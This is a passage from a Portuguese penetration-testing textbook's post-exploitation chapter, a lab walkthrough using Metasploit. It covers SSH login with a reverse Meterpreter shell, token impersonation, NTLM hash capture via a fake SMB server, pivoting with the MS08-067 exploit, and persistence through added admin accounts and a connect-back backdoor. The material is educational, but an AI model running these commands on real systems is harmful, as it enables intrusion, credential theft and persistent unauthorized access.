192.168.20.9 msf exploit(sshexec) > exploit [*] Started reverse handler on 192.168.20.9:4444 --trecho omitido-- [*] Meterpreter session 10 opened (192.168.20.9:4444 -> 192.168.20.11:36154) at 2015-03-25 13:43:26 -0400 meterpreter > getuid Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000 meterpreter > shell Process 21880 created. Channel 1 created. whoami georgia Nesse exemplo, conhecemos as credenciais georgia:password por termos efetuado o seu cracking no cap\u00edtulo 9. Embora, nesse caso, faremos somente o login no mesmo host novamente (semelhante ao que fizemos na se\u00e7\u00e3o \u201cPSExec\u201d na p\u00e1gina 362), poder\u00edamos usar essa mesma t\u00e9cnica em outros hosts do mesmo ambiente que tivessem uma conta para georgia. Como no caso do PSExec, precisamos ter credenciais v\u00e1lidas para efetuarmos a autentica\u00e7\u00e3o. Definimos USERNAME com georgia \uf075 e PASSWORD com password \uf076 e, em seguida, selecionamos linux\/x86\/meterpreter\/reverse_tcp como payload. De modo diferente do PSExec (que carregava um bin\u00e1rio e o executava como um servi\u00e7o do sistema, concedendo-nos automaticamente privil\u00e9gios de System), com o SSHExec, continuamos sendo o usu\u00e1rio georgia. Voc\u00ea pode ver como esse exploit pode provar ser uma maneira r\u00e1pida de deslocar-se por um ambiente em busca de informa\u00e7\u00f5es e vulnerabilidades adicionais em outros sistemas Linux.","368 Testes de invas\u00e3o Token para personifica\u00e7\u00e3o Agora que sabemos que pode nem ser necess\u00e1rio ter senhas em formato texto simples para obter acesso a outros sistemas, h\u00e1 algum caso em que possamos n\u00e3o precisar nem mesmo das hashes de senha? Uma implementa\u00e7\u00e3o de seguran\u00e7a interessante do Windows est\u00e1 no conceito de tokens. Os tokens s\u00e3o utilizados principalmente para controle de acesso. De acordo com o token de um processo, o sistema operacional pode tomar decis\u00f5es sobre quais recursos e opera\u00e7\u00f5es devem ser disponibilizados a ele. Pense em um token como um tipo de chave tempor\u00e1ria que d\u00e1 acesso a determi- nados recursos, sem a necessidade de fornecer sua senha sempre que voc\u00ea quiser realizar uma opera\u00e7\u00e3o privilegiada. Quando um usu\u00e1rio fizer login no sistema de forma interativa, por exemplo, diretamente no console ou a partir de um desktop remoto, um token de delega\u00e7\u00e3o ser\u00e1 criado. Os tokens de delega\u00e7\u00e3o permitem que o processo personifique o token no siste- ma local, bem como na rede, por exemplo, em outros sistemas em um dom\u00ednio. Os tokens de delega\u00e7\u00e3o cont\u00eam credenciais e podem ser usados para efetuar a autentica\u00e7\u00e3o junto a outros sistemas que utilizem essas credenciais, por exemplo, o controlador de dom\u00ednio. Os tokens persistem at\u00e9 haver uma reinicializa\u00e7\u00e3o e, mesmo que um usu\u00e1rio fa\u00e7a logout, seu token continuar\u00e1 presente no sistema at\u00e9 esse ser desligado. Se pudermos roubar outro token do sistema, poderemos, poten- cialmente, obter privil\u00e9gios adicionais e at\u00e9 mesmo ter acesso a outros sistemas. Incognito Estamos em um sistema comprometido: o nosso alvo Windows XP. Quais tokens est\u00e3o no sistema e como podemos roub\u00e1-los? O Incognito originalmente era uma ferramenta standalone desenvolvida por pesquisadores da \u00e1rea de seguran\u00e7a que conduziam pesquisas relacionadas ao roubo de tokens para escala\u00e7\u00e3o de privil\u00e9gios, mas, posteriormente, passou a ser adicionado como uma extens\u00e3o do Meterpreter. O Incognito nos ajudar\u00e1 a listar e a roubar todos os tokens de um sistema. O Incognito n\u00e3o \u00e9 carregado no Meterpreter por default,mas podemos adicion\u00e1-lo por meio do comando load,como mostrado aqui.Utilize uma de suas sess\u00f5es Meterpreter atualmente executando com privil\u00e9gios de sistema ou use a escala\u00e7\u00e3o de privil\u00e9gios para elevar o seu n\u00edvel de acesso. (System tem acesso a todos os tokens do alvo.) meterpreter > load incognito Loading extension incognito...success.","Cap\u00edtulo 13 \u25a0 P\u00f3s-explora\u00e7\u00e3o de falhas 369 Antes de usarmos o Incognito, mude de usu\u00e1rio em seu alvo Windows XP e fa\u00e7a login como secret, com a senha Password123. Esse login criar\u00e1 um token de dele- ga\u00e7\u00e3o no alvo para que possamos personificar.\u00c0 medida que listarmos os tokens, o Incognito pesquisar\u00e1 todos os handles do sistema para determinar quais per- tencem aos tokens utilizando chamadas de API de baixo n\u00edvel do Windows. Para ver todos os tokens de usu\u00e1rio dispon\u00edveis por meio do Incognito do Meterpreter, digite o comando list_tokens -u, como mostrado na listagem 13.25. Listagem 13.25 \u2013 Listando os tokens com o Incognito meterpreter > list_tokens -u Delegation Tokens Available ======================================== BOOKXP\\\\georgia BOOKXP\\\\secret NT AUTHORITY\\\\LOCAL SERVICE NT AUTHORITY\\\\NETWORK SERVICE NT AUTHORITY\\\\SYSTEM Vemos tokens tanto para georgia quanto para secret. Vamos tentar roubar o token de delega\u00e7\u00e3o de secret, obtendo efetivamente privil\u00e9gios desse usu\u00e1rio. Utilize o comando impersonate_token para roubar o token, como mostrado na listagem 13.26. (Observe que usamos duas barras invertidas para escapar a barra invertida entre o dom\u00ednio \u2013 nesse caso, o nome do computador local \u2013 e o nome do usu\u00e1rio.) Listagem 13.26 \u2013 Roubando um token com o Incognito meterpreter > impersonate_token BOOKXP\\\\\\\\secret [+] Delegation token available [+] Successfully impersonated user BOOKXP\\\\secret meterpreter > getuid Server username: BOOKXP\\\\secret Ap\u00f3s ter roubado o token de secret, se executarmos getuid, devemos ver que agora somos efetivamente o usu\u00e1rio secret. Isso pode ser especialmente interessante em um dom\u00ednio: se secret for um administrador do dom\u00ednio, agora seremos tamb\u00e9m um administrador desse tipo e poderemos realizar tarefas como criar uma nova conta de administrador de dom\u00ednio ou alterar a senha do administrador. (Da- remos uma olhada em como adicionar contas a partir da linha de comando na se\u00e7\u00e3o \u201cPersist\u00eancia\u201d na p\u00e1gina 378.)","370 Testes de invas\u00e3o Captura de SMB Vamos dar uma olhada em mais uma consequ\u00eancia interessante do roubo de token. Em um dom\u00ednio, as hashes de senha dos usu\u00e1rios do dom\u00ednio s\u00e3o arma- zenadas somente no controlador de dom\u00ednio, o que significa que executar um hashdump em um sistema explorado nos fornecer\u00e1 hashes de senha somente dos usu\u00e1rios locais. N\u00e3o temos um dom\u00ednio configurado, portanto a hash da senha secret est\u00e1 armazenada localmente, por\u00e9m vamos supor que secret seja usu\u00e1rio de um dom\u00ednio. Vamos dar uma olhada em uma maneira de capturar as hashes de senha sem ter acesso ao controlador de dom\u00ednio ao passar a hash a um servidor SMB que controlamos e gravar os resultados. Abra uma segunda inst\u00e2ncia do Msfconsole e utilize o m\u00f3dulo auxiliary\/server\/capture\/smb para instalar um servidor SMB e capturar qualquer tentativa de autentica\u00e7\u00e3o. Assim como os m\u00f3dulos de ataque do lado do cliente que estudamos no cap\u00edtulo 10, esse m\u00f3dulo n\u00e3o ataca diretamente outro sistema; ele simplesmente configura um servidor e espera. Configure as op\u00e7\u00f5es do m\u00f3dulo, como mostrado na listagem 13.27. Listagem 13.27 \u2013 Usando o m\u00f3dulo de captura de SMB msf > use auxiliary\/server\/capture\/smb msf auxiliary(smb) > show options Module options (auxiliary\/server\/capture\/smb): Name Current Setting Required Description ---- --------------- -------- ----------- CAINPWFILE no The local filename to store the hashes in Cain&Abel format CHALLENGE 1122334455667788 yes The 8 byte challenge JOHNPWFILE no The prefix to the local filename to store the hashes in JOHN format SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 445 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) msf auxiliary(smb) > set JOHNPWFILE \/root\/johnfile\uf075 JOHNPWFILE => johnfile msf auxiliary(smb) > exploit","Cap\u00edtulo 13 \u25a0 P\u00f3s-explora\u00e7\u00e3o de falhas 371 Os resultados podem ser salvos em um CAINPWFILE ou em um JOHNPWFILE, que armazenar\u00e3o as hashes capturadas nos formatos esperados pela ferramenta de senha Cain and Abel para Windows e pelo John the Ripper, respectivamente. Vamos defini-lo com JOHNPWFILE \uf075 porque aprendemos a usar o John no cap\u00edtulo 9. Agora volte \u00e0 sua sess\u00e3o Meterpreter, na qual voc\u00ea personificou o token de secret na se\u00e7\u00e3o anterior, e v\u00e1 para um shell, conforme mostrado a seguir. Como roubamos o token de secret, esse shell dever\u00e1 executar como secret. Sabendo que os tokens de delega\u00e7\u00e3o incluem credenciais para autentica\u00e7\u00e3o junto a outros sistemas, uti- lizaremos o comando net use do Windows para tentar fazer a autentica\u00e7\u00e3o junto ao nosso servidor SMB falso para a captura. Conecte-se a qualquer compartilhamento que voc\u00ea quiser no servidor SMB do Kali. O login ir\u00e1 falhar, por\u00e9m o estrago j\u00e1 ter\u00e1 sido feito. meterpreter > shell C:\\\\Documents and Settings\\\\secret>net use \\\\\\\\192.168.20.9\\\\blah De volta \u00e0 janela do Msfconsole para captura de SMB, voc\u00ea dever\u00e1 ver que um conjunto de hashes de senha foi capturado. [*] SMB Captured - 2015-08-14 15:11:16 -0400 NTLMv1 Response Captured from 192.168.20.10:1078 \u2013 192.168.20.10 USER:secret DOMAIN:BOOKXP OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1 LMHASH:76365e2d142b5612338deca26aaee2a5d6f3460500532424 NTHASH:f2148557db0456441e57ce35d83bd0a27fb71fc8913aa21c N O T A \tEsse exerc\u00edcio pode ser um pouco estranho, particularmente sem um dom\u00ednio Windows presente. Voc\u00ea poder\u00e1 ter problemas em capturar a hash, podendo obter algo como: \t [*] SMB Capture - Empty hash captured from 192.168.20.10:1050 - 192.168.20.10 \t\t\t captured, ignoring ... \t Esse \u00e9 um problema comum. Simplesmente tente entender os conceitos para que voc\u00ea possa tentar us\u00e1-los nos ambientes do cliente em que dom\u00ednios Windows estejam implantados. Os resultados s\u00e3o salvos no formato apropriado na op\u00e7\u00e3o JOHNPWFILE do m\u00f3dulo auxiliary\/server\/capture\/smb do Metasploit. Por exemplo, como definimos o nosso JOHNPWFILE com \/root\/johnfile, o arquivo a ser fornecido ao John \u00e9 \/root\/johnfile_netntlm. Quando as hashes forem comparadas com aquelas apresen- tadas pelo hashdump na listagem 13.22, voc\u00ea ver\u00e1 que as hashes de secret diferem. O","372 Testes de invas\u00e3o que est\u00e1 acontecendo? O fato \u00e9 que essas hashes s\u00e3o para NETLM e NETNTLM, que s\u00e3o um pouco diferentes das hashes Windows LM e NTLM normais com as quais trabalhamos no cap\u00edtulo 9. E, ao dar uma olhada em JOHNPWFILE, voc\u00ea ver\u00e1 que seu formato \u00e9 um pouco diferente do que vimos anteriormente com o John the Ripper. secret::BOOKXP:76365e2d142b5612338deca26aaee2a5d6f3460500532424:f2148557db0456441e57ce35d83bd 0a27fb71fc8913aa21c:1122334455667788 Em particular, a entrada da hash incluiu a op\u00e7\u00e3o CHALLENGE do Metasploit. Em- bora o usu\u00e1rio secret tenha uma hash local em nosso alvo Windows XP que nos pouparia do trabalho de efetuar o cracking das hashes NETLM e NETNTLM, esse \u00e9 um truque \u00fatil para p\u00f4r as m\u00e3os em hashes de senha quando estivermos trabalhando com contas de usu\u00e1rio de dom\u00ednio, que armazenam suas hashes de senha somente nos controladores de dom\u00ednio. Pivoteamento Agora vamos ver se podemos usar o acesso a um sistema para obter acesso a outra rede totalmente diferente. Normalmente, uma empresa tem apenas alguns siste- mas voltados para a Internet \u2013 servi\u00e7os de hosting que devem estar dispon\u00edveis na Internet como servidores web, email, VPNs e assim por diante. Esses servi\u00e7os podem estar hospedados em um provedor, como o Google ou o GoDaddy, ou podem estar hospedados internamente. Se estiverem hospedados internamente, obter acesso a eles a partir da Internet poder\u00e1 proporcionar acesso \u00e0 rede interna. O ideal \u00e9 que sua rede interna seja segmentada por unidade de neg\u00f3cios, n\u00edvel de criticidade e assim por diante, de modo que o acesso a um computador n\u00e3o propicie acesso direto de rede a todos os computadores da empresa. N O T A \tOs sistemas voltados para a Internet podem ser dual homed, ou seja, membros de v\u00e1rias redes, por exemplo, a Internet e uma rede interna. Uma boa pr\u00e1tica de seguran\u00e7a consiste em manter sistemas dual-homed segregados dos recursos sens\u00edveis das redes internas em uma DMZ (Demilitarized zone, ou Zona desmilitarizada), por\u00e9m j\u00e1 realizei testes de invas\u00e3o para clientes que tinham sistemas voltados para a Internet como parte de seu dom\u00ednio interno. Tudo o que tive de fazer foi explorar sua aplica\u00e7\u00e3o web, que tinha uma senha default para a conta de administrador, e carregar um shell PHP como fizemos com o XAMPP no cap\u00edtulo 8 e, imediatamente, passei a ter acesso a um sistema em seu dom\u00ednio interno. Espero que a maior parte de seus clientes exija alguns passos a mais entre invadir o per\u00edmetro e ter acesso ao dom\u00ednio.","Cap\u00edtulo 13 \u25a0 P\u00f3s-explora\u00e7\u00e3o de falhas 373 Quando instalamos o nosso alvo Windows 7 no cap\u00edtulo 1, associamos dois adaptadores de rede virtuais a ele. Conectamos um na rede com bridge, por meio do qual ele pode conversar com outros alvos e com nossa m\u00e1quina virtual Kali. O outro adaptador virtual est\u00e1 conectado \u00e0 rede somente de hosts. Para este exerc\u00edcio, v\u00e1 para o alvo Windows XP para a rede somente de hosts de modo que ele n\u00e3o seja mais acess\u00edvel pelo sistema Kali. (Para obter mais informa\u00e7\u00f5es sobre como alterar as configura\u00e7\u00f5es da rede virtual, consulte a se\u00e7\u00e3o \u201cCriando o alvo Windows 7\u201d na p\u00e1gina 81.) Embora esse seja um sistema Windows, o Meterpreter permite usar o comando ifconfig para verificar as informa\u00e7\u00f5es de rede. Como mostrado na listagem 13.28, o alvo Windows 7 faz parte de duas redes: a rede 192.168.20.0\/24, que tamb\u00e9m inclui o nosso sistema Kali, e a rede 172.16.85.0\/24, \u00e0 qual o nosso sistema Kali n\u00e3o tem acesso. Listagem 13.28 \u2013 Informa\u00e7\u00f5es de rede de um sistema dual-homed meterpreter > ifconfig Interface 11 ============ Name : Intel(R) PRO\/1000 MT Network Connection Hardware MAC : 00:0c:29:62:d5:c8 MTU : 1500 IPv4 Address : 192.168.20.12 IPv4 Netmask : 255.255.255.0 Interface 23 ============ Name : Intel(R) PRO\/1000 MT Network Connection #2 Hardware MAC : 00:0c:29:62:d5:d2 MTU : 1500 IPv4 Address : 172.16.85.191 IPv4 Netmask : 255.255.255.0 N\u00e3o podemos atacar nenhum sistema na rede 172.16.85.0 diretamente do Kali. Contudo, pelo fato de termos acesso ao alvo Windows 7, podemos us\u00e1-lo como trampolim ou piv\u00f4 para explorar adicionalmente essa segunda rede, como mos- trado na figura 13.3.","374 Testes de invas\u00e3o Kali Windows 7 192.168.20.9 192.168.20.12 172.16.85.191 Windows XP 172.16.85.190 Figura 13.3 \u2013 Pivoteamento por meio de um sistema explorado. A essa altura, poder\u00edamos come\u00e7ar a carregar nossas ferramentas de hack no alvo Windows\u00a07 a fim de iniciar o teste de invas\u00e3o na rede 172.16.85.0, por\u00e9m essa tentativa provavelmente seria detectada pelo software antiv\u00edrus e ter\u00edamos de limpar a sujeira deixada para tr\u00e1s. O Metasploit nos d\u00e1 outra op\u00e7\u00e3o: podemos encaminhar todo o tr\u00e1fego para a nossa rede-alvo por meio de uma sess\u00e3o aberta do Metasploit. Adicionando uma rota no Metasploit O comando route do Metasploit informa para onde o tr\u00e1fego deve ser encami- nhado. Em vez de encaminhar o tr\u00e1fego para um endere\u00e7o IP, enviamos o tr\u00e1fego destinado a uma rede por meio de uma sess\u00e3o espec\u00edfica aberta. Nesse caso, queremos enviar todo o tr\u00e1fego destinado \u00e0 rede 172.16.85.0 por meio da sess\u00e3o no Windows 7. A sintaxe do comando de encaminhamento no Metasploit \u00e9 route add rede <m\u00e1scara de sub-rede> <id da sess\u00e3o>. msf > route add 172.16.85.0 255.255.255.0 2 Agora qualquer tr\u00e1fego que enviarmos do Metasploit para a rede 172.16.85.0 ser\u00e1 automaticamente encaminhado por meio da sess\u00e3o no Windows 7 (sess\u00e3o 2, no meu caso). Podemos configurar op\u00e7\u00f5es como RHOST ou RHOSTS com os sistemas dessa rede, e o Metasploit enviar\u00e1 o tr\u00e1fego para o local correto.","Cap\u00edtulo 13 \u25a0 P\u00f3s-explora\u00e7\u00e3o de falhas 375 Scanners de porta do Metasploit Uma das primeiras tarefas que realizamos quando fizemos a coleta de informa\u00e7\u00f5es no cap\u00edtulo 5 foi um scan de portas em nossos alvos utilizando o Nmap. N\u00e3o poderemos usar ferramentas externas com a nossa rota do Metasploit, por\u00e9m, felizmente, o Metasploit possui alguns m\u00f3dulos para scanning de portas que po- der\u00e3o ser usados como alternativa, por exemplo, o m\u00f3dulo scanner\/portscan\/tcp, que executar\u00e1 um scan TCP simples de porta, conforme mostrado na listagem 13.29. Listagem 13.29 \u2013 Scanning de portas com o Metasploit msf > use scanner\/portscan\/tcp msf auxiliary(tcp) > show options Module options (auxiliary\/scanner\/portscan\/tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host PORTS u1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds msf auxiliary(tcp) > set RHOSTS 172.16.85.190 rhosts => 172.16.85.190 msf auxiliary(tcp) > exploit [*] 172.16.85.190:25 - TCP OPEN [*] 172.16.85.190:80 - TCP OPEN [*] 172.16.85.190:139 - TCP OPEN [*] 172.16.85.190:135 - TCP OPEN [*] 172.16.85.190:180 - TCP OPEN --trecho omitido-- Configure a op\u00e7\u00e3o RHOSTS como \u00e9 feito normalmente nos m\u00f3dulos auxiliares. Por padr\u00e3o, o Metasploit efetua o scan das portas de 1 a 10.000 \uf075, embora essa op\u00e7\u00e3o possa ser alterada, se voc\u00ea quiser. Apesar de os scanners de porta do Metasploit n\u00e3o serem t\u00e3o eficientes quanto o Nmap, no m\u00ednimo podemos ver que a porta do SMB est\u00e1 aberta. A partir daqui, podemos executar o m\u00f3dulo auxiliary\/scanner\/smb\/smb_version, seguido da fun\u00e7\u00e3o check com o m\u00f3dulo windows\/smb\/ms08_067_netapi para nos levar \u00e0 explora\u00e7\u00e3o do alvo Windows XP com o exploit MS08-067 por interm\u00e9dio de um piv\u00f4.","376 Testes de invas\u00e3o Executando um exploit por meio de um piv\u00f4 Como nossos sistemas Windows XP e Kali est\u00e3o em redes diferentes, um payload reverso n\u00e3o funcionar\u00e1 com o nosso exploit porque o alvo Windows XP n\u00e3o saber\u00e1 encaminhar o tr\u00e1fego de volta para 192.168.20.9. (\u00c9 claro que, se o nosso sistema Kali estivesse na Internet e a rede interna que estivermos atacando pudesse encaminhar o tr\u00e1fego para a Internet, esse n\u00e3o seria um problema. No entanto, neste caso, nossa rede somente de hosts n\u00e3o sabe como encaminhar o tr\u00e1fego para a nossa rede com bridge.) De modo alternativo, usaremos um payload bind. O handler de bind do Metasploit n\u00e3o ter\u00e1 problemas em encaminhar o tr\u00e1fego por meio do piv\u00f4 definido. O payload windows\/meterpreter\/bind_tcp funcionar\u00e1 como mostrado na listagem 13.30. Listagem 13.30 \u2013 Efetuando uma explora\u00e7\u00e3o de falhas por meio de um piv\u00f4 msf exploit(handler) > use windows\/smb\/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 172.16.85.190 RHOST => 172.16.85.190 msf exploit(ms08_067_netapi) > set payload windows\/meterpreter\/bind_tcp payload => windows\/meterpreter\/bind_tcp msf exploit(ms08_067_netapi) > exploit Obtivemos outra sess\u00e3o, desta vez, por meio de um piv\u00f4. Socks4a e ProxyChains O pivoteamento por meio do Metasploit \u00e9 muito bom, por\u00e9m estaremos limitados a usar os m\u00f3dulos do Metasploit. Quem sabe n\u00e3o haja uma maneira de efetuar o proxy de outras ferramentas por meio do piv\u00f4 do Metasploit? Com efeito, existe um modo: utilize a ferramentas ProxyChains (que redireciona o tr\u00e1fego para servidores proxy) para enviar o tr\u00e1fego de outras ferramentas do Kali por meio do Metasploit. Por\u00e9m, inicialmente, devemos configurar um servidor proxy no Metasploit. As- sim como o m\u00f3dulo do servidor SMB utilizado para capturar hashes NETLM e NETNTLM anteriormente neste cap\u00edtulo, o Metasploit tamb\u00e9m tem um m\u00f3dulo Socks4a de servidor proxy (auxiliary\/server\/socks4a).A listagem 13.31 mostra como configurar o servidor proxy.","Cap\u00edtulo 13 \u25a0 P\u00f3s-explora\u00e7\u00e3o de falhas 377 Listagem 13.31 \u2013 Configurando um servidor proxy Socks4a no Metasploit msf > use auxiliary\/server\/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary\/server\/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. msf auxiliary(socks4a) > exploit [*] Auxiliary module execution completed [*] Starting the socks4a proxy server Deixe as op\u00e7\u00f5es com os valores default, por\u00e9m observe que o servidor ficar\u00e1 ouvindo a porta 1080. Agora devemos alterar o arquivo de configura\u00e7\u00e3o de ProxyChains em \/etc\/proxychains.conf. Fa\u00e7a rolagens at\u00e9 o final do arquivo em um editor e voc\u00ea dever\u00e1 ver que, por padr\u00e3o, o ProxyChains est\u00e1 configurado para encaminhar o tr\u00e1fego para a rede Tor, como mostrado aqui. # add proxy here ... # defaults set to \\\"tor\\\" socks4 127.0.0.1 9050 Precisamos alterar o valor do proxy para o servidor do Metasploit que estar\u00e1 ouvindo. Substitua a porta 9050 (do Tor) pela porta 1080 (do Metasploit). Essa linha agora dever\u00e1 conter: socks4 127.0.0.1 1080 Salve o arquivo de configura\u00e7\u00e3o do ProxyChains. Agora podemos executar ferra- mentas como o Nmap de fora do Metasploit em nosso alvo Windows XP, desde que utilizemos proxychains como prefixo, conforme mostrado na listagem 13.32. (A rota do Metasploit dever\u00e1 permanecer ativa porque o ProxyChains simplesmente redireciona o tr\u00e1fego para o Metasploit,que encaminhar\u00e1 o tr\u00e1fego por meio do piv\u00f4.) Listagem 13.32 \u2013 Executando o Nmap por meio do ProxyChains root@kali:~# proxychains nmap -Pn -sT -sV -p 445,446 172.16.85.190 ProxyChains-3.1 (http:\/\/proxychains.sf.net) Starting Nmap 6.40 ( http:\/\/nmap.org ) at 2015-03-25 15:00 EDT |S-chain|-<>-127.0.0.1:1080-<><>-172.16.85.190.165:445-<><>-OK\uf075","378 Testes de invas\u00e3o |S-chain|-<>-127.0.0.1:1080-<><>-172.16.85.190:446-<--denied\uf076 Nmap scan report for 172.16.85.190 Host is up (0.32s latency). PORT STATE SERVICE VERSION 445\/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 446\/tcp closed ddm-rdb Service Info: OS: Windows; CPE: cpe:\/o:microsoft:windows A listagem 13.32 mostra o Nmap sendo executado no host Windows XP por meio do piv\u00f4, com o ProxyChains. A op\u00e7\u00e3o -Pn diz ao Nmap para n\u00e3o tentar efetuar ping por meio do proxy. Come\u00e7amos com um scan TCP connect simples (-sT) e, em seguida, executamos um scan de vers\u00f5es (-sV). Por quest\u00f5es de simplicidade, limitei as portas para 445 e 446 usando a op\u00e7\u00e3o -p.Vemos que a conex\u00e3o est\u00e1 OK na porta 445 \uf075, mas apresenta denied na porta 446 \uf076. Isso faz sentido porque o servidor SMB est\u00e1 executando na porta 445, por\u00e9m n\u00e3o h\u00e1 nada sendo executado na porta 446. (Se alguma parte dessas informa\u00e7\u00f5es n\u00e3o for familiar a voc\u00ea, consulte a se\u00e7\u00e3o \u201cScanning de portas com o Nmap\u201d na p\u00e1gina 565.) Essa \u00e9 apenas uma maneira de executar ferramentas externas ao Metasploit por meio de um piv\u00f4. Embora fazer isso deixe tudo um pouco mais lento, ter acesso a outras ferramentas do Kali pode ser bem \u00fatil. N O T A \tNem todas as vulnerabilidades poder\u00e3o ser exploradas por meio de um piv\u00f4. Em geral, isso depende de como os protocolos vulner\u00e1veis funcionam. Outra t\u00e9cnica a ser vista \u00e9 o tunelamento SSH. Consulte o meu blog em http:\/\/www.bulbsecurity.com\/ para obter mais informa\u00e7\u00f5es. Persist\u00eancia Um dos \u00f3timos aspectos relacionados \u00e0s nossas sess\u00f5es Meterpreter tamb\u00e9m tem um lado ruim. Como o processo host reside totalmente na mem\u00f3ria, se ele morrer, nossa sess\u00e3o Meterpreter morrer\u00e1 tamb\u00e9m, e se o sistema reiniciar, perderemos nossa sess\u00e3o. Se perdermos o acesso de rede ao alvo, nossa sess\u00e3o tamb\u00e9m poder\u00e1 morrer. Em vez de explorar novamente a mesma vulnerabilidade ou reenviar os ataques de engenharia social, o ideal seria se tiv\u00e9ssemos uma maneira de restaurar o acesso novamente no futuro. Os m\u00e9todos de persist\u00eancia podem ser t\u00e3o simples quanto adicionar um usu\u00e1rio a um sistema ou t\u00e3o sofisticados quanto um rootkit de n\u00edvel de kernel que se oculta at\u00e9 mesmo da API do Windows, tornando-o virtualmente","Cap\u00edtulo 13 \u25a0 P\u00f3s-explora\u00e7\u00e3o de falhas 379 imposs\u00edvel de ser detectado. Nesta se\u00e7\u00e3o, daremos uma olhada em algumas ma- neiras simples de adquirir persist\u00eancia em um sistema-alvo para que voc\u00ea possa ter um bom ponto de partida para seus testes de invas\u00e3o. Adicionando um usu\u00e1rio Talvez a maneira mais simples de obter persist\u00eancia seja adicionando um novo usu- \u00e1rio. Ser capaz de fazer login no sistema diretamente por meio de SSH, RDP e assim por diante facilita acessar um sistema no futuro. (Assim como ocorre com todas as demais altera\u00e7\u00f5es que voc\u00ea fizer em seus alvos, lembre-se de apagar qualquer conta de usu\u00e1rio que tenha sido adicionada antes de concluir o seu teste de invas\u00e3o.) Em um sistema Windows, utilize net user usu\u00e1rio senha \/add para adicionar um novo usu\u00e1rio, como mostrado aqui. C:\\\\Documents and Settings\\\\georgia\\\\Desktop> net user james password \/add net user james password \/add The command completed successfully. Tamb\u00e9m devemos adicionar o nosso novo usu\u00e1rio aos grupos relevantes por meio do comando net localgroup grupo usu\u00e1rio \/add. Por exemplo, se quisermos fa- zer login por meio de desktop remoto, devemos adicionar o usu\u00e1rio ao grupo Remote Desktop Users (Usu\u00e1rios de desktop remoto). O grupo Administrators (Administradores) tamb\u00e9m \u00e9 um bom grupo ao qual devemos adicionar o nosso usu\u00e1rio, conforme mostrado aqui. C:\\\\Documents and Settings\\\\georgia\\\\Desktop> net localgroup Administrators james \/add net localgroup Administrators james \/add The command completed successfully. Se o seu cliente tiver um dom\u00ednio Windows, voc\u00ea poder\u00e1 adicionar usu\u00e1rios ao dom\u00ednio e aos grupos do dom\u00ednio (se tiver privil\u00e9gios suficientes) inserindo \/domain no final de um comando. Por exemplo, se voc\u00ea puder roubar o token de um administrador do dom\u00ednio, os comandos a seguir poder\u00e3o ser usados para adicionar uma conta de administrador do dom\u00ednio, concedendo a voc\u00ea o controle total sobre todo o dom\u00ednio. C:\\\\Documents and Settings\\\\georgia\\\\Desktop> net user georgia2 password \/add \/domain C:\\\\Documents and Settings\\\\georgia\\\\Desktop> net group \\\"Domain Admins\\\" georgia2 \/add \/domain No alvo Linux, podemos usar adduser para adicionar uma conta de usu\u00e1rio. O ideal seria adicionar tamb\u00e9m o nosso novo usu\u00e1rio ao grupo sudoers para que tenhamos privil\u00e9gios de root.","380 Testes de invas\u00e3o Persist\u00eancia no Metasploit O script persistence do Meterpreter automatiza a cria\u00e7\u00e3o de um backdoor Windows que far\u00e1 automaticamente a conex\u00e3o de volta a um listener do Metasploit na inicia- liza\u00e7\u00e3o, no login e assim por diante, de acordo com as op\u00e7\u00f5es que utilizarmos em sua cria\u00e7\u00e3o.As op\u00e7\u00f5es do script persistence est\u00e3o sendo mostradas na listagem13.33. Listagem 13.33 \u2013 O script persistence do Meterpreter meterpreter > run persistence -h Meterpreter Script for creating a persistent backdoor on a target host. OPTIONS: -A Automatically start a matching multi\/handler to connect to the agent -L <opt> Location in target host where to write payload to, if none %TEMP% will be used. -P <opt> Payload to use, default is windows\/meterpreter\/reverse_tcp. -S Automatically start the agent on boot as a service (with SYSTEM privileges) -T <opt> Alternate executable template to use -U Automatically start the agent when the User logs on -X Automatically start the agent when the system boots -h This help menu -i <opt> The interval in seconds between each connection attempt -p <opt> The port on the remote host where Metasploit is listening -r <opt> The IP of the system running Metasploit listening for the connect back Como voc\u00ea pode ver, temos diversas op\u00e7\u00f5es de personaliza\u00e7\u00e3o para o nosso payload de persist\u00eancia. Podemos fazer nosso agente de persist\u00eancia ser iniciado no boot ou quando o usu\u00e1rio fizer login. Podemos definir um intervalo entre as tentativas para efetuar a conex\u00e3o com o handler ou alterar o local em que o agente ser\u00e1 gravado no sistema-alvo. Tamb\u00e9m podemos especificar o host remoto e a porta com os quais o agente se conectar\u00e1 de volta. Podemos at\u00e9 mesmo fazer o Metasploit configurar automaticamente um handler para capturar a conex\u00e3o de entrada. No processo de configurar a persist\u00eancia, o Metasploit deve gravar o agente de persist\u00eancia no disco, portanto o Meterpreter n\u00e3o estar\u00e1 totalmente na mem\u00f3ria nesse momento. Quando o agente de persist\u00eancia for executado na inicializa\u00e7\u00e3o (-X), um script Visual Basic ser\u00e1 carregado na pasta %TEMP% e uma entrada no registro ser\u00e1 adicionada \u00e0 lista dos programas a serem executados na inicializa\u00e7\u00e3o.Quando o agente de persist\u00eancia for executado no login (-U), o processo ser\u00e1 semelhante, por\u00e9m a entrada no regis- tro ser\u00e1 configurada para execu\u00e7\u00e3o no login. Quando o agente de persist\u00eancia for executado como um servi\u00e7o (-S), um servi\u00e7o de sistema do Windows ser\u00e1 criado e ele chamar\u00e1 o script Visual Basic de %TEMP%.","Cap\u00edtulo 13 \u25a0 P\u00f3s-explora\u00e7\u00e3o de falhas 381 Vamos executar o script persistence, como mostrado na listagem 13.34, dizendo ao agente para se conectar de volta \u00e0 nossa m\u00e1quina Kali quando o usu\u00e1rio fizer login. Listagem 13.34 \u2013 Executando o script persistence 